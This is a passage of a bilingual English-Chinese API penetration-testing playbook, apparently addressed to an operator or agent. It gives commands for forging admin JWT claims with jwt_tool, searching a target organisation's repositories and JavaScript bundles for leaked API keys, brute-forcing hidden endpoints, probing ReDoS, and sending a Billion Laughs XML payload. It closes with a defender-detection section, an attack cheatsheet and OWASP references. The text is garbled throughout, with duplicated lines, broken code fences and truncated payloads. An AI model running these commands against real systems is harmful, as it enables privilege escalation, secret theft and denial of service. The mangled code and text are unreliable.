jwt_tool "$JWT_TOKEN" -I -pc sub -pv "admin@target.com" -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc exp -pv 9999999999 -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc is_admin -pv true
-pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"
-pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"
---jwt_tool "$JWT_TOKEN" -I -pc role -pv admin -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc sub -pv "admin@target.com" -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc exp -pv 9999999999 -S hs256 -p "$KNOWN_SECRET"
jwt_tool "$JWT_TOKEN" -I -pc is_admin -pv true
-pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"
-pc permissions -pv '["admin","superuser"]' -S hs256 -p "$KNOWN_SECRET"
---API Key Leakage Patterns
API Key 泄漏模式
API keys leak through predictable channels. You systematically search for them across all exposure surfaces.
bash
undefinedAPI key 会通过可预测的渠道泄漏。你需要系统地搜索所有暴露面。
bash
undefinedSearch public repositories for leaked keys
Search public repositories for leaked keys
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path}'
--method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
--method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}'
--method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"
--method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"
```bashgh api search/code -q '.items[] | {repo: .repository.full_name, path: .path}'
--method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
--method GET -f "q=org:target-org api_key OR apikey OR api-key OR secret_key"
gh api search/code -q '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}'
--method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"
--method GET -f "q=org:target-org AKIA OR sk_live OR rk_live"
```bashClient-side key extraction from JavaScript bundles
Client-side key extraction from JavaScript bundles
curl -s "https://target.example.com/" |
grep -oE 'src="[^"].js[^"]"' | sed 's/src="//;s/"//' | while read -r js_url; do echo "=== Scanning: https://target.example.com${js_url} ===" curl -s "https://target.example.com${js_url}" | grep -oiE
'(api[-]?key|api[-]?secret|access[-]?token|secret[-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]' done
grep -oE 'src="[^"].js[^"]"' | sed 's/src="//;s/"//' | while read -r js_url; do echo "=== Scanning: https://target.example.com${js_url} ===" curl -s "https://target.example.com${js_url}" | grep -oiE
'(api[-]?key|api[-]?secret|access[-]?token|secret[-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]' done
curl -s "https://target.example.com/" |
grep -oE 'src="[^"].js[^"]"' | sed 's/src="//;s/"//' | while read -r js_url; do echo "=== Scanning: https://target.example.com${js_url} ===" curl -s "https://target.example.com${js_url}" | grep -oiE
'(api[-]?key|api[-]?secret|access[-]?token|secret[-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]' done
grep -oE 'src="[^"].js[^"]"' | sed 's/src="//;s/"//' | while read -r js_url; do echo "=== Scanning: https://target.example.com${js_url} ===" curl -s "https://target.example.com${js_url}" | grep -oiE
'(api[-]?key|api[-]?secret|access[-]?token|secret[-]?key)["\x27]?\s*[:=]\s*["\x27][A-Za-z0-9+/=_-]{16,}["\x27]' done
Error message key leakage
Error message key leakage
curl -s -X POST -H "Content-Type: application/json"
-d '{"invalid": true}' "https://target.example.com/api/v1/connect" |
grep -iE '(key|token|secret|password|credential)'
-d '{"invalid": true}' "https://target.example.com/api/v1/connect" |
grep -iE '(key|token|secret|password|credential)'
---curl -s -X POST -H "Content-Type: application/json"
-d '{"invalid": true}' "https://target.example.com/api/v1/connect" |
grep -iE '(key|token|secret|password|credential)'
-d '{"invalid": true}' "https://target.example.com/api/v1/connect" |
grep -iE '(key|token|secret|password|credential)'
---Undocumented Endpoint Discovery
未公开 Endpoint 发现
Production APIs frequently expose endpoints not listed in public documentation. You discover them through predictable naming patterns, debug routes, and application source analysis.
bash
undefined生产 API 经常暴露未列入公开文档的 endpoint。可以通过可预测的命名模式、debug route 和应用 source 分析来发现它们。
bash
undefinedParameter discovery with Arjun
Parameter discovery with Arjun
arjun -u "https://target.example.com/api/v1/users" -m GET
--headers "Authorization: Bearer $TOKEN" -t 10 arjun -u "https://target.example.com/api/v1/users" -m POST
--headers "Authorization: Bearer $TOKEN" -t 10
--headers "Authorization: Bearer $TOKEN" -t 10 arjun -u "https://target.example.com/api/v1/users" -m POST
--headers "Authorization: Bearer $TOKEN" -t 10
arjun -u "https://target.example.com/api/v1/users" -m GET
--headers "Authorization: Bearer $TOKEN" -t 10 arjun -u "https://target.example.com/api/v1/users" -m POST
--headers "Authorization: Bearer $TOKEN" -t 10
--headers "Authorization: Bearer $TOKEN" -t 10 arjun -u "https://target.example.com/api/v1/users" -m POST
--headers "Authorization: Bearer $TOKEN" -t 10
ParamSpider for URL parameter mining from web archives
ParamSpider for URL parameter mining from web archives
paramspider -d target.example.com --exclude woff,css,js,png,svg,jpg,gif
```bashparamspider -d target.example.com --exclude woff,css,js,png,svg,jpg,gif
```bashEndpoint brute-forcing with predictable naming patterns
Endpoint brute-forcing with predictable naming patterns
wordlist=(
"internal" "debug" "test" "dev" "staging" "beta"
"admin" "manage" "console" "dashboard" "config"
"health" "status" "metrics" "graphql" "playground"
"backup" "export" "import" "batch" "bulk" "webhook"
)
for word in "${wordlist[@]}"; do
for prefix in "/api/v1" "/api/v2" "/api/internal" "/api" "/_"; do
code=$(curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $TOKEN"
"${TARGET}${prefix}/${word}") [ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}" done done
-H "Authorization: Bearer $TOKEN"
"${TARGET}${prefix}/${word}") [ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}" done done
wordlist=(
"internal" "debug" "test" "dev" "staging" "beta"
"admin" "manage" "console" "dashboard" "config"
"health" "status" "metrics" "graphql" "playground"
"backup" "export" "import" "batch" "bulk" "webhook"
)
for word in "${wordlist[@]}"; do
for prefix in "/api/v1" "/api/v2" "/api/internal" "/api" "/_"; do
code=$(curl -s -o /dev/null -w "%{http_code}"
-H "Authorization: Bearer $TOKEN"
"${TARGET}${prefix}/${word}") [ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}" done done
-H "Authorization: Bearer $TOKEN"
"${TARGET}${prefix}/${word}") [ "$code" != "404" ] && [ "$code" != "000" ] && echo "[${code}] ${prefix}/${word}" done done
Extract API routes from JavaScript bundles
Extract API routes from JavaScript bundles
curl -s "https://target.example.com/static/js/main.js" |
grep -oE '["''']/api/[a-zA-Z0-9/_-]+["''']' | sort -u
grep -oE '["''']/api/[a-zA-Z0-9/_-]+["''']' | sort -u
---curl -s "https://target.example.com/static/js/main.js" |
grep -oE '["''']/api/[a-zA-Z0-9/_-]+["''']' | sort -u
grep -oE '["''']/api/[a-zA-Z0-9/_-]+["''']' | sort -u
---Resource Exhaustion and Algorithmic Complexity
资源耗尽与算法复杂度
Target API operations that have disproportionate server-side cost relative to request complexity.
bash
undefined寻找那些服务器端成本与请求复杂度相比不成比例的 API 操作。
bash
undefinedReDoS via search parameters -- measure response time scaling
ReDoS via search parameters -- measure response time scaling
for len in 10 20 30 40 50; do
payload=$(python3 -c "print('a' * ${len} + '!')")
curl -s -o /dev/null -w "Length ${len}: %{time_total}s\n"
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/search?q=${payload}" done
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/search?q=${payload}" done
for len in 10 20 30 40 50; do
payload=$(python3 -c "print('a' * ${len} + '!')")
curl -s -o /dev/null -w "Length ${len}: %{time_total}s\n"
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/search?q=${payload}" done
-H "Authorization: Bearer $TOKEN"
"https://target.example.com/api/v1/search?q=${payload}" done
XML entity expansion (Billion Laughs) if XML input accepted
XML entity expansion (Billion Laughs) if XML input accepted
curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?>
]>
<data>&lol4;</data>' "https://target.example.com/api/v1/import"
---curl -s -X POST -H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
-H "Content-Type: application/xml"
-d '<?xml version="1.0"?>
]>
<data>&lol4;</data>' "https://target.example.com/api/v1/import"
---Detection / Defender View
检测/防御方视角
When you execute these techniques, you generate specific artifacts that defenders monitor for:
-
Business logic abuse does not trigger signature-based detection because each individual request is valid. Behavioral analytics detect deviations such as checkout steps executed out of order, coupon codes applied in parallel, or state transitions that violate the application state machine. Transaction monitoring flags duplicate rewards, negative-amount transfers, or currency mismatches.
-
GraphQL batching produces abnormally large request payloads. API gateways with query complexity, depth, or operation count limits block these. Introspection queries from non-development sources trigger alerts.
-
Pagination abuse manifests as requests with abnormal page sizes or sequential fetches at high volume. DLP systems alert on bulk data access patterns.
-
Webhook manipulation is detected by registration audit logs. Outbound connection monitoring flags callbacks to unexpected destinations. SSRF defenses validate callback URLs against allowlists.
-
Race conditions produce bursts of identical requests within millisecond windows. Distributed tracing captures concurrent state modifications. Database logs show serialization failures.
-
JWT attacks involving algorithm confusion produce tokens with unexpected header values logged by auth middleware. Tokens with jku/x5u pointing to external URLs trigger URL validation alerts.
-
Endpoint enumeration produces 404 bursts and unusual URL path patterns. WAFs flag path traversal patterns in discovery attempts.
执行这些技术时,会生成防御方正在监控的特定制品:
-
业务逻辑滥用不会触发基于签名的检测,因为每个单独请求都是有效的。Behavioral analytics 会检测偏离行为的行为,例如 checkout 步骤乱序执行、并行应用 coupon code,或违反应用状态机的状态转换。交易监控会标记重复奖励、负金额转账或币种不匹配。
-
GraphQL batching 会产生异常大的请求 payload。设置了 query complexity、depth 或 operation count 限制的 API gateway 会将其拦截。来自非开发来源的 introspection query 会触发告警。
-
分页滥用表现为页面大小异常或短时间内顺序获取大量数据。DLP 系统会对批量数据访问模式发出告警。
-
Webhook 操纵可通过注册审计日志发现。出站连接监控会标记指向异常目标的 callback。SSRF 防御会依据 allowlist 验证 callback URL。
-
Race condition 会在毫秒级窗口内产生大量相同请求。Distributed tracing 可捕获并发状态修改。数据库日志会显示 serialization failure。
-
涉及算法混淆的 JWT 攻击会生成带有异常 header 值的 token,并由 auth middleware 记录。指向外部 URL 的 jku/x5u token 会触发 URL 验证告警。
-
Endpoint 枚举会产生大量 404 和异常 URL path 模式。WAF 会标记发现过程中的 path traversal 模式。
Engagement Cheatsheet
测试速查表
| Phase | Action | Tool |
|---|---|---|
| Discovery | Hidden parameter enumeration | Arjun |
| Discovery | URL parameter mining | ParamSpider |
| Discovery | GraphQL schema introspection | curl, GraphQL Voyager |
| Discovery | Endpoint brute-force | Custom wordlist scripts |
| Logic | Workflow bypass via API chaining | curl, Burp Repeater |
| Logic | Price/state manipulation | curl sequences |
| Logic | Race condition exploitation | Python asyncio/aiohttp, GNU parallel |
| Auth | JWT algorithm confusion | jwt_tool |
| Auth | JWT kid/jku injection | jwt_tool, openssl |
| Auth | JWT claim tampering | jwt_tool |
| Data | Pagination-based exfiltration | curl, Python scripts |
| Data | GraphQL batched brute-force | Python scripts |
| Data | API key leakage search | gh, grep, curl |
| Infra | Webhook hijacking/SSRF | curl |
| Infra | Resource exhaustion | curl, Python |
| 阶段 | 操作 | 工具 |
|---|---|---|
| 发现 | 隐藏参数枚举 | Arjun |
| 发现 | URL 参数挖掘 | ParamSpider |
| 发现 | GraphQL schema introspection | curl、GraphQL Voyager |
| 发现 | Endpoint 暴力枚举 | 自定义 wordlist 脚本 |
| 逻辑 | 通过 API chaining 实现工作流绕过 | curl、Burp Repeater |
| 逻辑 | 价格/状态操纵 | curl 序列 |
| 逻辑 | Race condition 漏洞利用 | Python asyncio/aiohttp、GNU parallel |
| 认证 | JWT 算法混淆 | jwt_tool |
| 认证 | JWT kid/jku 注入 | jwt_tool、openssl |
| 认证 | JWT claim 篡改 | jwt_tool |
| 数据 | 基于分页的数据外泄 | curl、Python 脚本 |
| 数据 | GraphQL 批量暴力破解 | Python 脚本 |
| 数据 | API key 泄漏搜索 | gh、grep、curl |
| 基础设施 | Webhook 劫持/SSRF | curl |
| 基础设施 | 资源耗尽 | curl、Python |
Key References
主要参考资料
- OWASP API Security Top 10 2023: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- OWASP Testing Guide -- Business Logic Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/
- GraphQL Security Best Practices: https://graphql.org/learn/security/
- PortSwigger -- Race Conditions: https://portswigger.net/web-security/race-conditions
- jwt_tool: https://github.com/ticarpi/jwt_tool
- Arjun: https://github.com/s0md3v/Arjun
- ParamSpider: https://github.com/devanshbatham/ParamSpider
- GraphQL Voyager: https://github.com/graphql-kit/graphql-voyager
- "Black Hat GraphQL" by Nick Aleks and Dolev Farhi (No Starch Press)
- RFC 7519 -- JSON Web Token: https://datatracker.ietf.org/doc/html/rfc7519
- OWASP API Security Top 10 2023:https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- OWASP Testing Guide -- 业务逻辑测试:https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/
- GraphQL Security Best Practices:https://graphql.org/learn/security/
- PortSwigger -- Race Conditions:https://portswigger.net/web-security/race-conditions
- jwt_tool:https://github.com/ticarpi/jwt_tool
- Arjun:https://github.com/s0md3v/Arjun
- ParamSpider:https://github.com/devanshbatham/ParamSpider
- GraphQL Voyager:https://github.com/graphql-kit/graphql-voyager
- 《Black Hat GraphQL》,Nick Aleks 和 Dolev Farhi 著(No Starch Press)
- RFC 7519 -- JSON Web Token:https://datatracker.ietf.org/doc/html/rfc7519